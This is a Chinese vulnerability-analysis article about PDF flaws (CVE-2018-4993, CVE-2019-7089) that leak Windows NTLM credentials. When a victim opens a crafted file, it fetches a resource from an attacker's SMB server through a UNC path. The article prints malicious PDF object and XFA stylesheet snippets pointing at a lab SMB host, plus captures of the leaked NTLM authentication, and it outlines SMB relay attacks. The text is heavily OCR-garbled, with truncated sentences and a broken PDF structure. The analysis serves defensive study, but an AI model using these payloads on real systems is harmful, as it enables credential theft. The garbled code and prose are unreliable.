kgsdy / 2019-03-15 08:19:00 / 浏览数 1557 安全技术 漏洞分析 顶(0) 踩(0)

## 概述

从过往的PDF漏洞来看,在PDF漏洞中最受关注和欢迎的漏洞是任意代码执行漏洞,这类漏洞的危害也最大,通常可以在用户机器上执行任意的恶意代码。但是这类漏洞因为

除了上述的漏洞外还有一类信息泄露的漏洞也被评为Critical

级别。该类漏洞可以在不需要任何用户交互的情况下,使用漏洞PDF文件窃取Windows的凭证。当用户打开恶意PDF文档时,它会自动联系攻击者控制的远程SMB服务器,

# 漏洞

该类泄露NTLM等信息的漏洞中近两年来主要有三个漏洞CVE-2018-4993、CVE-2019-7089和CVE-2019-7815。这三个漏洞基本思路都一样,都是利用PDF文件中允许嵌.

#### CVE-2018-4993

PDF基本格式

PDF文件是一种编程形式的文档格式,它所有显示的内容,都是通过相应的操作符进行绘制。PDF基本显示单元包括文字、图片、矢量图和图片。PDF扩展单元包括水印,其中字典对象是键值对的集合,和java中的map类似。key是唯一的,key的类型是name对象,value的类型是任意PDF支持的对象类型,当value为"null",则表示该键位字典对象是构建PDF文档的主要结构,通常它们都是一些有特定意义的属性组成的复杂对象集合,一般每个字典中都包含"Type"名字对象,该对象的值表示字典对象描述

```
stream #stream流对象开始
endstream #stream流对象结束
xref #交叉引用表开始
trailer #文件尾对象开始
startxref #交叉引用表结束
/Page #文件页数
/Encrypt #是否加密
/ObjStm #objectstreams的数量, objectstreams可包含其他Object对象, 即嵌套
/JS #代表java嵌有Java代码,可直接提取恶意代码
/Java #代表java嵌有Java代码,可直接提取恶意代码
/AA #以下三个为特定特征,打开对象自动执行
/s ●要执行的操作类型
/d #描述位置
/F #存在于GOTOR和GOTOE中,每个条目的含义有所不同
/OpenAction
/AcroForm
/URI #内嵌url链接
/Filter #/Filter字段出现,表示了下面的stream流进行了加密
/RichMedia #富文本
/Launch #执行Action的次数与OpenAction字段关联
#/xxxx 带斜杠的关键字包含在<<>>字典内部
```

CVE-2018-4993漏洞就是利用PDF文件中允许嵌入远程文档的功能来实现信息泄漏,该漏洞利用关键字进行构造访问外部链接。主要的恶意代码如下。

```
3 0 obj
<< /Type /Page
  /Contents 4 0 R
   /AA <<
     10 <<
       /F (\\\192.168.115.186\\test)
      /D [ 0 /Fit]
      /S /GoToE
     55
     55
     /Parent 2 0 R
     /Resources <<
      /Font <<
        /F1 <<
          /Type /Font
          /Subtype /Typel
          /BaseFont /Helvetica
          >>
        >>
```

endobj

在这里面的/F代表了加载文件的路径。在无补丁的环境下当用户打开恶意的PDF时会

虽然在运行时没有任何异常,但可以通过抓包来查看通过SMB回传的的数据。

```
294 Session Setup Andx Request, NTLMSSP_NEGOTIATE
504 Session Setup Andx Response, NTLMSSP_NEGOTIATE
428 Session Setup Andx Response, NTLMSSP_AUTH, User: ANA
93 Session Setup Andx Response, Error: STATUS_LOGON_FAILURE
16 0.02799800 192.168.115.128 192.168.115.176 5MB
18 0.02894900 192.168.115.128 192.168.115.176
19 0.15038900 192.168.115.176 192.168.115.128
                                                                                               SMB
  Max Mpx Count: 10

VC Number: 1

Session key: 0x0000000

Security Blob Length: 208

Reserved: 00000000

Gapabilities: 0x0000004

Byte Count (BCC): 311

Security Blob: a181cd3081caa281c70481c44e544c4d5353500003000000...

0 655-API Generic Security: Service Application Program Interface

E imple Protected Negotiation

E negrokenTarg
          RegTokenTarg
responseToken: 4e544c4d535350000300000180018009400000180018001...
```

#### CVE-2019-7089

CVE-2019-7089漏洞和CVE-2018-4993漏洞的思路很相似都是利用远程加载文件的过程来泄漏信息,只是加载的方式不一样,CVE-2018-4993是利用了PDF中的关键字,

XFA(也称为XFA表单)代表XML Forms Architecture,这是由JetForm建议和开发的一系列专有XML规范,用于增强Web表单的处理。它也可以用于以PDF 1.5规范开头的PDF文件。XFA规范被引用作为ISO 32000-1规范 (PDF 1.7) 应用必不可少的外部规范。XML Forms Architecture未标准化为ISO标准。

CVE-2019-7089漏洞就是利用了XFA结构中的xml-stylesheet来实现远程加载文件,在实际的过程中PDF会检测xml-stylesheet 元素中指定的任何http和https链接,并要求用户确认是否进行访问。但在这里可以使用UNC路径来绕过这个访问提示。

```
CVE-2019-7089漏洞的关键代码如下。
stream
 <?xml version="1.0" ?>
 <?xml-stylesheet href="\\192.168.115.128\share\test.xslt" type="text/xsl" ?>
 endstream
 endobj
                                                                                                                                                                                                                                         当运行恶意PDF的时候就会通过SMB协议把信
                                                                                               409 Session Setup Andx Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED 648 Session Setup Andx Request, NTLMSSP_AUTH, User: WIN-makessage/administrator 1275 Session Setup andx Response
ame 10: 646 bytes on wire ()164 bits), 646 bytes captured ()164 bits) on interface 0
hernet II, Src: Vmware_aa:20:5a (00:0c:29:aa:20:5a), 0st: Vmware_c1:25:0f (00:0c:29:c1:25:0f)
nernet Protocol Version 4, Src: 192.168.115.176 (192.168.115.176), 0st: 192.168.115.128 (192.168.115.128)
ansmission Control Protocol, Src Port: 50024 (50024), 0st Port: microsoft-ds (445), Seq: 268, Ack: 445, Len: 594
B (Server Message Block Protocol)
Session Setup Andx Request (0x73)
Word Count (WCT): 12
AndxCommand: No further commands (0xff)
  word count (WCT): 12
AndXcommand: No further co
Reserved: 00
AndXoffset: 0
Max Buffer: 4356
Max Mgx Count: 10
Vo Number: 0x0000000
Session Key: 0x00000000
Security Blob Length: 526
Reserved: 00000000
   Capabilities: 0xa00000d4
Byte Count (BCC): 531

| Security Blob: 4e544c4d53535000030000018001800ae00000038013801...
```

该漏洞在未打补丁的机器上直接运行就会传回

## SMB中继攻击

当攻击者获取到用户的NTLM信息后,可进一步进行中继攻击。SMB中继攻击过程如下,B是一个SMB服务器,A来进行认证,B将A的认证信息转发到C上,如果A的凭证在 OA系统、文件共享等服务则可以尝试使用SMB中继攻击来引诱域管理员访问达到获取其他机器权限的目的。

## 最后

该类信息泄露漏洞虽然没有任意代码执行漏洞危害大,在考虑到任意代码执行漏洞利用成本的情况下,该类信息泄露漏洞在攻击中任然具有一定的利用价值。从漏洞挖掘的炸

#### 点击收藏 | 1 关注 | 1

- 1. 0 条回复
  - 动动手指,沙发就是你的了!

ᅏᆿ	一四十
⇔ऋ	

# 先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS <u>关于社区</u> 友情链接 社区小黑板